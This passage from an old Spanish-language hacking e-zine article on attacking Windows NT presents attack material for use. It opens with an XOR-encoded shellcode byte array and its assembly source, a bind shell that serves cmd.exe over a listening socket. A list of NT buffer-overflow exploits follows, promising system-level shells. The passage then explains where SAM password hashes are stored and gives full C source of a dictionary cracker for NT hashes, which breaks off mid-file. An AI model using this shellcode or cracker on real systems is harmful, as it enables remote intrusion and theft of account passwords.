0x12, 0x1c, 0x8f, 0x9d, 0x99, 0x99, 0xc9, 0x66, 0x0c, 0x55,
0x9a, 0x99, 0x99, 0x1a, 0x61, 0x99, 0xed, 0xe4, 0x09, 0x09,
0x09, 0x09, 0xaa, 0x59, 0xc9, 0x12, 0x1c, 0xbf, 0x9d, 0x99,
0x99, 0xc9, 0x12, 0x1c, 0xb3, 0x9d, 0x99, 0x99, 0xc9, 0x12,
0x1c, 0xab, 0x9d, 0x99, 0x99, 0xc9, 0x66, 0x0c, 0x93, 0x9d,
0x99, 0x99, 0x1a, 0x61, 0x99, 0xe5, 0xcf, 0x09, 0x09, 0x09,
0x09, 0x72, 0x0e, 0xaa, 0x59, 0xc9, 0x2d, 0x9d, 0xc9, 0x12,
0x1c, 0xb3, 0x9d, 0x99, 0x99, 0xc9, 0x12, 0x1c, 0xab, 0x9d,
0x99, 0x99, 0xc9, 0x66, 0x0c, 0x96, 0x9d, 0x99, 0x99, 0x1a,
0x61, 0x99, 0xe5, 0xa8, 0x09, 0x09, 0x09, 0x09, 0xaa, 0x42,
0xca, 0x14, 0x04, 0xbf, 0x9d, 0x99, 0x99, 0xca, 0xc9, 0x12,
0x1c, 0xb3, 0x9d, 0x99, 0x99, 0xc9, 0x12, 0x1c, 0xbb, 0x9d,
0x99, 0x99, 0xc9, 0x66, 0x0c, 0x5b, 0x9a, 0x99, 0x99, 0x1a,
0x61, 0x99, 0xed, 0x90, 0x09, 0x09, 0x09, 0x09, 0x70, 0xde,
0x66, 0x66, 0x66, 0xaa, 0x59, 0x5a, 0xaa, 0x42, 0xca, 0x14,
0x04, 0xc7, 0x98, 0x99, 0x99, 0xca, 0xaa, 0x42, 0xca, 0xca,
0xca, 0xc9, 0x66, 0x0c, 0x31, 0x9a, 0x99, 0x99, 0x1a, 0x61,
0x99, 0xed, 0x92, 0x09, 0x09, 0x09, 0x09, 0x12, 0x1c, 0xc7,
0x98, 0x99, 0x99, 0x5a, 0x21, 0x99, 0x99, 0x99, 0x99, 0x5a,
0x99, 0x99, 0x99, 0x99, 0x14, 0x1c, 0x52, 0x98, 0x99, 0x99,
0x5e, 0x99, 0xdd, 0x99, 0x99, 0x99, 0xc9, 0x66, 0x0c, 0xe4,
0x9a, 0x99, 0x99, 0x12, 0x1c, 0x83, 0x9d, 0x99, 0x99, 0x10,
0x1c, 0x92, 0x9b, 0x99, 0x99, 0x10, 0x1c, 0x9e, 0x9b, 0x99,
0x99, 0x12, 0x1c, 0x87, 0x9d, 0x99, 0x99, 0x10, 0x1c, 0x9a,
0x9b, 0x99, 0x99, 0xaa, 0x59, 0xff, 0x21, 0x98, 0x98, 0x10,
0x1c, 0x6e, 0x98, 0x99, 0x99, 0x14, 0x1c, 0x52, 0x98, 0x99,
0x99, 0xc9, 0xc9, 0xaa, 0x59, 0xc9, 0xc9, 0xc9, 0xd9, 0xc9,
0xd1, 0xc9, 0xc9, 0x14, 0x1c, 0xdb, 0x9d, 0x99, 0x99, 0xc9,
0xaa, 0x59, 0xc9, 0x66, 0x0c, 0x14, 0x9a, 0x99, 0x99, 0x1a,
0x61, 0x99, 0x96, 0x1d, 0xdb, 0x98, 0x99, 0x99, 0x5a, 0x99,
0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0xaa,
0x59, 0x2d, 0x9d, 0xc9, 0x58, 0x71, 0x9d, 0xc9, 0x66, 0x0c,
0x2f, 0x9a, 0x99, 0x99, 0x5a, 0xaa, 0x59, 0xc9, 0x14, 0x1c,
0xf7, 0x9b, 0x99, 0x99, 0x5e, 0x99, 0x95, 0x99, 0x99, 0x99,
0xc9, 0x14, 0x1c, 0x83, 0x9d, 0x99, 0x99, 0xc9, 0x14, 0x1c,
0x8f, 0x9d, 0x99, 0x99, 0xc9, 0x66, 0x0c, 0xeb, 0x9a, 0x99,
0x99, 0xaa, 0x59, 0xc9, 0x14, 0x1c, 0xf7, 0x9b, 0x99, 0x99,
0xc9, 0x14, 0x1c, 0xbb, 0x9d, 0x99, 0x99, 0xc9, 0x14, 0x1c,
0x87, 0x9d, 0x99, 0x99, 0xc9, 0x66, 0x0c, 0xeb, 0x9a, 0x99,
0x99, 0x5a, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
0x98, 0x99, 0x99, 0x99, 0xc9, 0x14, 0x04, 0x38, 0x9b, 0x99,
0x99, 0x5e, 0x9a, 0x89, 0x99, 0x99, 0x99, 0xca, 0x14, 0x04,
0x65, 0x9b, 0x99, 0x99, 0xca, 0xc9, 0x66, 0x0c, 0x9a, 0x9d,
0x99, 0x99, 0x12, 0x41, 0x1a, 0x61, 0x99, 0xc1, 0xe5, 0x45,
0x12, 0x5a, 0x5a, 0x89, 0x99, 0x99, 0x99, 0xaa, 0x59, 0xc9,
0xd9, 0xc9, 0xd9, 0xc9, 0x66, 0x0c, 0x69, 0x9a, 0x99, 0x99,
0x1a, 0x61, 0x66, 0xed, 0xdb, 0x09, 0x09, 0x09, 0x09, 0x10,
0x1c, 0xb7, 0x9d, 0x99, 0x99, 0xf3, 0x89, 0x14, 0x04, 0x65,
0x9b, 0x99, 0x99, 0xca, 0xc9, 0x66, 0x0c, 0x6e, 0x9a, 0x99,
0x99, 0x1a, 0x61, 0x99, 0xec, 0xba, 0x09, 0x09, 0x09, 0x09,
0xf3, 0x9c, 0x12, 0x1c, 0xb7, 0x9d, 0x99, 0x99, 0xc9, 0x66,
0x0c, 0x65, 0x9a, 0x99, 0x99, 0x1a, 0x61, 0x99, 0xec, 0x92,
0x09, 0x09, 0x09, 0x09, 0x12, 0x1c, 0xb7, 0x9d, 0x99, 0x99,
0x5a, 0xaa, 0x59, 0x5a, 0x9b, 0x99, 0x99, 0xfa, 0x99, 0x99,
0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
0x66, 0x0c, 0x42, 0x9a, 0x99, 0x99, 0x5a, 0x14, 0x24, 0xf0,
0x9a, 0x99, 0x99, 0x12, 0x5e, 0xce, 0x71, 0xb6, 0x99, 0x99,
0x99, 0xc6, 0xc9, 0xab, 0x59, 0xaa, 0x50, 0x6e, 0x48, 0x65,
0x6b, 0x37, 0xc1, 0x19, 0xa6, 0x99, 0xed, 0x8e, 0x09, 0x09,
0x09, 0x09, 0xc9, 0xce, 0x12, 0x46, 0x71, 0x84, 0x99, 0x99,
0x99, 0xc6, 0x10, 0x9e, 0xc1, 0xde, 0xde, 0xde, 0xde, 0x72,
0x40, 0xde, 0x19, 0xa6, 0x99, 0xec, 0x53, 0x5a, 0xca, 0x14,
0x04, 0xaf, 0x9d, 0x99, 0x99, 0xc9, 0x66, 0x8a, 0xc2, 0x5a,
0xce, 0x14, 0x24, 0xa3, 0x9d, 0x99, 0x99, 0xca, 0xc9, 0x66,
0x8e, 0xc6, 0x5a, 0xd2, 0xdc, 0xcb, 0xd7, 0xdc, 0xd5, 0xaa,
0xab, 0x99, 0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xf0,
0xe9, 0xfc, 0x99, 0xde, 0xfc, 0xed, 0xca, 0xed, 0xf8, 0xeb,
0xed, 0xec, 0xe9, 0xd0, 0xf7, 0xff, 0xf6, 0xd8, 0x99, 0xda,
0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xeb, 0xf6, 0xfa, 0xfc,
0xea, 0xea, 0xd8, 0x99, 0xda, 0xf5, 0xf6, 0xea, 0xfc, 0xd1,
0xf8, 0xf7, 0xfd, 0xf5, 0xfc, 0x99, 0xc9, 0xfc, 0xfc, 0xf2,
0xd7, 0xf8, 0xf4, 0xfc, 0xfd, 0xc9, 0xf0, 0xe9, 0xfc, 0x99,
0xde, 0xf5, 0xf6, 0xfb, 0xf8, 0xf5, 0xd8, 0xf5, 0xf5, 0xf6,
0xfa, 0x99, 0xce, 0xeb, 0xf0, 0xed, 0xfc, 0xdf, 0xf0, 0xf5,
0xfc, 0x99, 0xcb, 0xfc, 0xf8, 0xfd, 0xdf, 0xf0, 0xf5, 0xfc,
0x99, 0xca, 0xf5, 0xfc, 0xfc, 0xe9, 0x99, 0xdc, 0xe1, 0xf0,
0xed, 0xc9, 0xeb, 0xf6, 0xfa, 0xfc, 0xea, 0xea, 0x99, 0x99,
0xce, 0xca, 0xd6, 0xda, 0xd2, 0xaa, 0xab, 0x99, 0xea, 0xf6,
0xfa, 0xf2, 0xfc, 0xed, 0x99, 0xfb, 0xf0, 0xf7, 0xfd, 0x99,
0xf5, 0xf0, 0xea, 0xed, 0xfc, 0xf7, 0x99, 0xf8, 0xfa, 0xfa,
0xfc, 0xe9, 0xed, 0x99, 0xea, 0xfc, 0xf7, 0xfd, 0x99, 0xeb,
0xfc, 0xfa, 0xef, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
0xea, 0xeb, 0x7f, 0xee, //address of loadlibrarya, it is os
//version depended
0xa8, 0xe9, 0x7f, 0xee, //address of getprocaddress, it is os
//version depended
0x73, 0x75, 0x6e, 0x78, //sunx, it is a decode flag, don't
//modify it
0x63, 0x6d, 0x64, 0x2e, 0x65, 0x78, 0x65, 0x24, //cmd.exe$,
0x00 // you can modify it freely,
};

/***************************************************************************

;***************************************************************************
; Written by sunx
;***************************************************************************

.486

.model flat

locals

.code

shellcodebegin:

mov edi, esp
mov eax, 'xnus'
findnext: inc edi
cmp [edi], eax
jnz findnext

lea ebp, [edi + offset shellcodebegin - offset findnext + 4 ]

lea edi, [ebp + offset main - offset shellcodebegin]
mov esi, edi
mov ah, 99h
cld

xorloop:
lodsb
xor al, ah
stosb
cmp dword ptr [esi], 'xnus'
jnz xorloop

main: lea edi, [ebp + offset cmd - offset shellcodebegin]
cld
xor ecx, ecx
mov cl, 32
mov al, '$'
repnz scasb
mov byte ptr [edi-1], 0

call processapi
call initpbuf
mov [ebp + offset pbuf - offset shellcodebegin], eax
call initpipe
call initsock
mov [ebp + offset accepthand - offset shellcodebegin], eax
call initshell

runloop:
mov eax, [ebp + offset accepthand - offset shellcodebegin]
call getaconnect

mov [ebp + offset sockhand - offset shellcodebegin], eax

call runshell

jmp runloop

;***********************;*****************************;*********************

runshell proc

@@peek: mov eax, [ebp + offset pipeAread - offset shellcodebegin]
call peekdata
cmp eax, 0
jz @@readinput

;readfile()
xor eax, eax
push eax

lea eax, [ebp + offset i - offset shellcodebegin]
push eax

xor eax, eax
mov ah, 4
push eax

mov eax, [ebp + offset pbuf - offset shellcodebegin]
push eax

mov eax, [ebp + offset pipeAread - offset shellcodebegin]
push eax
call [ebp + offset readfile - offset shellcodebegin]

cmp eax, 0
jz @@exit

;send()
xor eax, eax
push eax
mov eax, [ebp + offset i - offset shellcodebegin]
push eax
mov eax, [ebp + offset pbuf - offset shellcodebegin]
push eax
mov eax, [ebp + offset sockhand - offset shellcodebegin]
push eax

call [ebp + offset send - offset shellcodebegin]
;call [ebp + offset wsagetlasterror - offset shellcodebegin]

cmp eax, 0
jl @@exit

jmp @@peek

@@readinput:
xor eax, eax
push eax
mov ah, 4
push eax
mov eax, [ebp + offset pbuf - offset shellcodebegin]
push eax
mov eax, [ebp + offset sockhand - offset shellcodebegin]
push eax
call [ebp + offset recv - offset shellcodebegin]
cmp eax, 0
jl @@exit

xor ebx, ebx
push ebx

lea ebx, [ebp + offset i - offset shellcodebegin]
push ebx

push eax

mov eax, [ebp + offset pbuf - offset shellcodebegin]
push eax
mov eax, [ebp + offset pipeBwrite - offset shellcodebegin]
push eax
call [ebp + offset writefile - offset shellcodebegin]

cmp eax, 0
jz @@exit

jmp @@peek

@@exit: xor eax, eax

ret

runshell endp

;***************************************************************************
peekdata proc ;call with eax = pipehand, return eax = bytes should be read

xor ebx, ebx
push ebx
lea ebx, [ebp + offset peeki - offset shellcodebegin]
push ebx

xor ebx, ebx
push ebx
push ebx
push ebx

push eax

call [ebp + offset peeknamedpipe - offset shellcodebegin]
cmp eax, 0
jz @@error

mov eax, [ebp + offset peeki - offset shellcodebegin]

ret

@@error: mov eax, 0
ret

peeki dd 0
peekdata endp

;***************************************************************************
initshell proc
lea eax, [ebp + offset StartupInfo - offset shellcodebegin]
mov dword ptr [eax], 044h
push eax
call [ebp + offset getstartupinfo - offset shellcodebegin]

;build startinfo
mov eax, [ebp + offset pipeAwrite - offset shellcodebegin]
mov [ebp + offset StartupInfo - offset shellcodebegin + 40h], eax
mov [ebp + offset StartupInfo - offset shellcodebegin + 3ch], eax
mov eax, [ebp + offset pipeBread - offset shellcodebegin]
mov [ebp + offset StartupInfo - offset shellcodebegin + 38h], eax

xor eax, eax
mov ax, 0101h
mov [ebp + offset StartupInfo - offset shellcodebegin +2Ch], eax

lea eax, [ebp + offset StartupInfo - offset shellcodebegin]
push eax
push eax

xor eax, eax
push eax
push eax
push eax
inc eax
push eax
dec eax
push eax
push eax

lea eax, [ebp + offset cmd - offset shellcodebegin]
push eax
xor eax, eax
push eax
call [ebp + offset createprocess - offset shellcodebegin]

cmp eax, 0
jz exitshell

ret

StartupInfo db 50h dup(0)
initshell endp

;***************************************************************************

initpbuf proc ;return eax = buf
xor eax, eax
mov ah, 4
push eax
shr eax, 4
push eax
call [ebp + offset globalalloc - offset shellcodebegin]
ret
initpbuf endp

;***************************************************************************

initpipe proc
xor eax, eax
push eax
lea eax, [ebp + offset pipeattr - offset shellcodebegin]
mov dword ptr [eax], 0ch
push eax
lea eax, [ebp + offset pipeAwrite - offset shellcodebegin]
push eax
lea eax, [ebp + offset pipeAread - offset shellcodebegin]
push eax
call [ebp + offset createpipe - offset shellcodebegin]

xor eax, eax
push eax
lea eax, [ebp + offset pipeattr - offset shellcodebegin]
push eax
lea eax, [ebp + offset pipeBwrite - offset shellcodebegin]
push eax
lea eax, [ebp + offset pipeBread - offset shellcodebegin]
push eax
call [ebp + offset createpipe - offset shellcodebegin]

ret

pipeattr label
len dd 0
lpSecDesc dd 0
bInherit dd 1

initpipe endp

;***************************************************************************

getaconnect proc ;return eax = sock, call with eax = sock

@@next: push eax
lea ebx, [ebp + offset @@accepti - offset shellcodebegin]
mov dword ptr [ebx], 16

push ebx
lea ebx, [ebp + offset sockstruc - offset shellcodebegin]
push ebx
push eax

call [ebp + offset accept - offset shellcodebegin]
mov ebx, eax
cmp eax, 0
pop eax
jl @@next
mov eax, ebx
ret
@@accepti dd 16
getaconnect endp

;***************************************************************************
initsock proc ; return eax = sock


;socket()
xor eax, eax
push eax
inc eax
push eax
inc eax
push eax
call [ebp + offset socket - offset shellcodebegin]
cmp eax , 0ffffffffh
jz @@exit

mov [ebp + offset accepthand - offset shellcodebegin], eax

;bind()

push 10h
lea ebx, [ebp + offset sockstruc - offset shellcodebegin]
push ebx
push eax
call [ebp + offset bind - offset shellcodebegin]
cmp eax , 0
jnz @@exit

;listen()
push 5
mov eax, [ebp + offset accepthand - offset shellcodebegin]
push eax

call [ebp + offset listen - offset shellcodebegin]
cmp eax , 0
jnz @@exit

mov eax, [ebp + offset accepthand - offset shellcodebegin]
ret

@@exit: xor eax, eax
ret

sockstruc label
sin_family dw 0002h
sin_port dw 6300h
sin_addr dd 0
sin_zero db 8 dup (0)

initsock endp

;********+******************************************************************
exitshell proc
call [ebp + offset exitprocess - offset shellcodebegin]
ret
exitshell endp

;***************************************************************************
processapi proc
;kenel api
lea edi, [ebp + offset library - offset shellcodebegin]

@@loadlib:
mov eax, edi
push edi
call loadlib
pop edi

@@nextknlapi:
push eax
xor al, al
xor ecx, ecx
not ecx
cld
repnz scasb
pop eax

cmp byte ptr [edi], 0

jz @@nextlib


push eax
push edi

mov ebx, edi
call getproc

pop edi

mov [edi], eax

pop eax

inc edi
inc edi
inc edi
inc edi

jmp @@nextknlapi

@@nextlib: inc edi
cmp byte ptr [edi], 0
jnz @@loadlib

@@ret:
ret
processapi endp

;***************************************************************************

loadlib proc ;eax=libraryname
push ebx
lea ebx, [ebp + offset LoadLibrary - offset shellcodebegin]

push eax
call dword ptr [ebx]
pop ebx
ret
loadlib endp

;***************************************************************************

getproc proc ;eax=handle, ebx = procname
push edi
lea edi, [ebp + offset GetProcAddr - offset shellcodebegin]
push ebx
push eax
call dword ptr [edi]
pop edi
ret
getproc endp

;***************************************************************************

databegin label

library label

kernel db "KERNEL32", 0
createpipe db "CreatePipe", 0
getstartupinfo db "GetStartupInfoA", 0
createprocess db "CreateProcessA", 0
closehandle db "CloseHandle", 0
peeknamedpipe db "PeekNamedPipe", 0
globalalloc db "GlobalAlloc", 0
writefile db "WriteFile", 0
readfile db "ReadFile", 0
sleep db "Sleep", 0
exitprocess db "ExitProcess", 0

db 0

wsock32 db "WSOCK32", 0
socket db "socket", 0
bind db "bind", 0
listen db "listen", 0
accept db "accept", 0
send db "send", 0
recv db "recv", 0
;wsagetlasterror db "WSAGetLastError", 0

db 0
db 0

pipeAread dd 0
pipeAwrite dd 0
pipeBread dd 0
pipeBwrite dd 0

i dd 0
pbuf dd 0
accepthand dd 0
sockhand dd 0

LoadLibrary dd 77e67273h
GetProcAddr dd 77e67031h

dd 'xnus'

cmd db "cmd.exe$"

db 0dh, 0ah

dataend label

.data
ends
end shellcodebegin

***************************************************************************/

#endif //WINSHELLCODE_H
<-->
--- Finaliza codigo de shellcode ---

Pues ahi estan... es posible que para cuando se publique este articulo ya
hayan salido mas, pero por lo pronto aqui teneis esto.



[ 8.2 - BOFS ]
------------

A continuacion incluyo la url de todos los desbordamientos de buffer en
NT publicados hasta ahora:


o Programa afectado: IIS
Autor: eEye (BOF descubierto por dark spyrit)
Efectos: Concede una shell de comandos NT con privilegios de sistema.
URL: http://www.eeye.com

o Programa afectado: Net Meeting versiones anteriores a la 3.0
Autor: The cult of the dead cow (cDc)
Efectos: Baja unos graficos de la pagina de cDc.
URL: http://www.cultdeadcow.com/cDc_files/cDc-351

o Programa afectado: NT RAS
Autor: Mnemonix
Efectos: A los 8 segundos de ser ejecutado mas o menos te abre una shell
de comandos de NT con privilegios de sistema.
URL: http://www.infowar.co.uk/mnemonix/ntbufferoverruns.htm

o Programa afectado: Winhlp32
Autor: Mnemonix
Efectos: Ejecuta un archivo batch con privilegios de sistema.
URL: http://www.infowar.co.uk/mnemonix/ntbufferoverruns.htm


Esto es todo sobre los overflows bajo W2K/WNT.



-=-



[ 9 - Sam ]
---------

El fichero SAM, es la base de datos de cuentas de seguridad local. Es
el equivalente el archivo passwd en u*x. Se usa para verificar la
autenticidad de los inicios de sesion de los usuario en el sistema. Dicho
archivo se encuentra en %systemroot%\system32\config\sam. Ahi esta el
fichero sam original, y el que usa NT. Como es un archivo que NT esta usando
indefinidamente... no lo podremos copiar, ni editar, ni renombrar, ni hacer
nada. En cambio hay una copia de seguridad del fichero SAM que se encuentra
en %systemroot%\repair\sam.

Profundicemos un poco mas en este archivo.



[ 9.1 - Analisis de las SAM ]
---------------------------

Lo que dije antes de que el fichero SAM contiene las encriptados no es
cierto. En su lugar, contiene una funcion hash unidireccional del password
del usuario. Una funcion hash unidireccional lo que hace es procesar la
entrada del usuario y reducirla a un valor unico. En NT, se reduce la
entrada a texto Unicode, y despues le aplica el algoritmo MD4 para convertir
la contrase~a en un valor hash unidireccional.

En el proceso de autentificacion se hace esto mismo, y se compara el
resultado con el valor en la SAM. Si son iguales, el usuario se logea en el
sistema.

Este metodo de almacenamiento de contrase~as asegura que nunca viajaran
contrase~as por la red que no esten codificadas.



[ 9.2 - Crackeandolas ]
---------------------

Para poder descodificar los valores hash del archivo SAM, se debe de
tener la implementacion MD4, y los nombres de usuario... o algun crackeador
de contrase~as de NT.

Podria ahora recomendar el uso de l0pht Crack y acabar esta seccion, sin
embargo antes quisiera insertaros el codigo fuente de otro crackeador, puede
que no tan bueno como el de l0pht tal como aparece aqui, pero con unos
retoques que se le diera se mejoraria mucho... ademas es Freeware. Que mas
quereis?.

El codigo esta en C++, para correr bajo NT. Para compilarlo necesitareis
los ficheros md4.c, md4.h y byteorder.h, los cuales los podreis encontrar en
el codigo de Samba. De md4.c deberas borrar 3 lineas, el ifdef SMB_PASSWD,
y sus correspondientes else y endif.

El codigo esta sacado de la Phrack 50, articulo 8, llamado "Cracking NT
Passwords"
, por Nihil.

Espero que disfruteis con el.

-- Comienza el codigo --
<++>xploits/ntcrack.c
/*
* (C) Nihil 1997. All rights reserved. A Guild Production.
*
* This program is free for commercial and non-commercial use.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted.
*
* THIS SOFTWARE IS PROVIDED BY NIHIL ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
*/


/* Samba is covered by the GNU GENERAL PUBLIC LICENSE Version 2, June 1991 */


/* dictionary based NT password cracker. This is a temporary
* solution until I get some time to do something more
* intelligent. The input to this program is the output of
* Jeremy Allison's PWDUMP.EXE which reads the NT and LANMAN
* OWF passwords out of the NT registry and a crack style
* dictionary file. The output of PWDUMP looks
* a bit like UNIX passwd files with colon delimited fields.
*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>

/* Samba headers we use */
#include "byteorder.h"
#include "md4.h"

#define TRUE 1
#define FALSE 0
#define HASHSIZE 16

/* though the NT password can be up to 128 characters in theory,
* the GUI limits the password to 14 characters. The only way
* to set it beyond that is programmatically, and then it won't
* work at the console! So, I am limiting it to the first 14
* characters, but you can change it to up to 128 by modifying
* MAX_PASSWORD_LENGTH
*/

#define MAX_PASSWORD_LENGTH 14

/* defines for Samba code */
#define uchar unsigned char
#define int16 unsigned short
#define uint16 unsigned short
#define uint32 unsigned int

/* the user's info we are trying to crack */
typedef struct _USER_INFO
{
char* username;
unsigned long ntpassword[4];

}USER_INFO, *PUSER_INFO;

/* our counted unicode string */
typedef struct _UNICODE_STRING
{
int16* buffer;
unsigned long length;

}UNICODE_STRING, *PUNICODE_STRING;

/* from Samba source cut & pasted here */
static int _my_mbstowcs(int16*, uchar*, int);
static int _my_wcslen(int16*);

/* forward declarations */
void Cleanup(void);
int ParsePWEntry(char*, PUSER_INFO);

/* global variable definition, only reason is so we can register an
* atexit() fuction to zero these for paranoid reasons
*/

char pPWEntry[258];
char pDictEntry[129]; /* a 128 char password? yeah, in my wet dreams */
MDstruct MDContext; /* MD4 context structure */


int main(int argc,char *argv[])
{
FILE *hToCrack, *hDictionary;
PUSER_INFO pUserInfo;
PUNICODE_STRING pUnicodeDictEntry;
int i;
unsigned int uiLength;

/* register exit cleanup function */
atexit(Cleanup);

/* must have both arguments */
if (argc != 3)
{
printf("\nUsage: %s <password file> <dictionary file>\n", argv[0]);
exit(0);
}

/* open password file */
hToCrack = fopen(argv[1], "r");
if (hToCrack == NULL)
{
fprintf(stderr,"Unable to open password file\n");
exit(-1);
}

/* open dictionary file */
hDictionary = fopen(argv[2], "r");
if (hDictionary == NULL)
{
fprintf(stderr,"Unable to open dictionary file\n");
exit(-1);
}

/* allocate space for our user info structure */
pUserInfo = (PUSER_INFO)malloc(sizeof (USER_INFO));
if (pUserInfo == NULL)
{
fprintf(stderr,"Unable to allocate memory for user info structure\n");
exit(-1);
}

/* allocate space for unicode version of the dictionary string */
pUnicodeDictEntry = (PUNICODE_STRING)malloc(sizeof (UNICODE_STRING));
if (pUnicodeDictEntry == NULL)
{
fprintf(stderr,"Unable to allocate memory for unicode conversion\n");
free(pUserInfo);
exit(-1);
}

/* output a banner so the user knows we are running */
printf("\nCrack4NT is running...\n");

/* as long as there are entries in the password file read
* them in and crack away */

while (fgets(pPWEntry, sizeof (pPWEntry), hToCrack))
{
/* parse out the fields and fill our user structure */
if (ParsePWEntry(pPWEntry, pUserInfo) == FALSE)
{
continue;
}

/* reset file pointer to the beginning of the dictionary file */
if (fseek(hDictionary, 0, SEEK_SET))
{
fprintf(stderr,"Unable to reset file pointer in dictionary\n");
memset(pUserInfo->ntpassword, 0, HASHSIZE);
free(pUserInfo);
free(pUnicodeDictEntry);
exit(-1);
}

/* do while we have new dictionary entries */
while (fgets(pDictEntry, sizeof (pDictEntry), hDictionary))
{
/* doh...fgets is grabbing the fucking newline, how stupid */
if (pDictEntry[(strlen(pDictEntry) - 1)] == '\n')
{
pDictEntry[(strlen(pDictEntry) - 1)] = '\0';
}

/* the following code is basically Jeremy Allison's code written
* for the Samba project to generate the NT OWF password. For
* those of you who have accused Samba of being a hacker's
* paradise, get a fucking clue. There are parts of NT security
* that are so lame that just seeing them implemented in code
* is enough to break right through them. That is all that
* Samba has done for the hacking community.
*/


/* Password cannot be longer than MAX_PASSWORD_LENGTH characters */
uiLength = strlen((char *)pDictEntry);
if(uiLength > MAX_PASSWORD_LENGTH)
uiLength = MAX_PASSWORD_LENGTH;

/* allocate space for unicode conversion */
pUnicodeDictEntry->length = (uiLength + 1) * sizeof(int16);

/* allocate space for it */
pUnicodeDictEntry->buffer = (int16*)malloc(pUnicodeDictEntry->length);
if (pUnicodeDictEntry->buffer == NULL)
{
fprintf(stderr,"Unable to allocate space for unicode string\n");
exit(-1);
}

/* Password must be converted to NT unicode */
_my_mbstowcs( pUnicodeDictEntry->buffer, pDictEntry, uiLength);
/* Ensure string is null terminated */
pUnicodeDictEntry->buffer[uiLength] = 0;

/* Calculate length in bytes */
uiLength = _my_wcslen(pUnicodeDictEntry->buffer) * sizeof(int16);

MDbegin(&MDContext);
for(i = 0; i + 64 <= (signed)uiLength; i += 64)
MDupdate(&MDContext,pUnicodeDictEntry->buffer + (i/2), 512);
MDupdate(&MDContext,pUnicodeDictEntry->buffer + (i/2),(uiLength-i)*8);

/* end of Samba code */

/* check if dictionary entry hashed to the same value as the user's
* NT password, if so print out user name and the corresponding
* password
*/

if (memcmp(MDContext.buffer, pUserInfo->ntpassword, HASHSIZE) == 0)
{
printf("Password for user %s is %s\n", pUserInfo->username,\ pDictEntry);
/* we are done with the password entry so free it */
free(pUnicodeDictEntry->buffer);
break;
}

/* we are done with the password entry so free it */
free(pUnicodeDictEntry->buffer);
}
}

/* cleanup a bunch */
free(pUserInfo->username);
memset(pUserInfo->ntpassword, 0, HASHSIZE);
free(pUserInfo);
free(pUnicodeDictEntry);

/* everything is great */
printf("Crack4NT is finished\n");
return 0;
}

void Cleanup()
{
memset(pPWEntry, 0, 258);
memset(pDictEntry, 0, 129);
memset(&MDContext.buffer, 0, HASHSIZE);
}


/* parse out user name and OWF */
int ParsePWEntry(char* pPWEntry, PUSER_INFO pUserInfo)
{
int HexToBin(char*, uchar*, int);

char pDelimiter[] = ":";
char* pTemp;
char pNoPW[] = "NO PASSWORD*********************";
char pDisabled[] = "********************************";

/* check args */
if (pPWEntry == NULL || pUserInfo == NULL)
{
return FALSE;
}

/* try and get user name */
pTemp = strtok(pPWEntry, pDelimiter);
if (pTemp == NULL)
{
return FALSE;
}

/* allocate space for user name in USER_INFO struct */
pUserInfo->username = (char*)malloc(strlen(pTemp) + 1);
if (pUserInfo->username == NULL)
{
fprintf(stderr,"Unable to allocate memory for user name\n");
return FALSE;
}

/* get the user name into the USER_INFO struct */
strcpy(pUserInfo->username, pTemp);

/* push through RID and LanMan password entries to get to NT password */
strtok(NULL, pDelimiter);
strtok(NULL, pDelimiter);

/* get NT OWF password */
pTemp = strtok(NULL, pDelimiter);
if (pTemp == NULL)
{
free(pUserInfo->username);
return FALSE;
}

/* do a sanity check on the hash value */
if (strlen(pTemp) != 32)
{
free(pUserInfo->username);
return FALSE;
}

/* check if the user has no password - we return FALSE in this case to avoid
* unnecessary crack attempts
*/

if (strcmp(pTemp, pNoPW) == 0)
{
printf("User %s has no password\n", pUserInfo->username);
return FALSE;
}

/* check if account appears to be disabled - again we return FALSE */
if (strcmp(pTemp, pDisabled) == 0)
{
printf("User %s is disabled most likely\n", pUserInfo->username);
return FALSE;
}

/* convert hex to bin */
if (HexToBin((unsigned char*)pTemp, (uchar*)pUserInfo->ntpassword,16) == FALSE)
{
free(pUserInfo->username);
return FALSE;
}

/* cleanup */
memset(pTemp, 0, 32);

return TRUE;
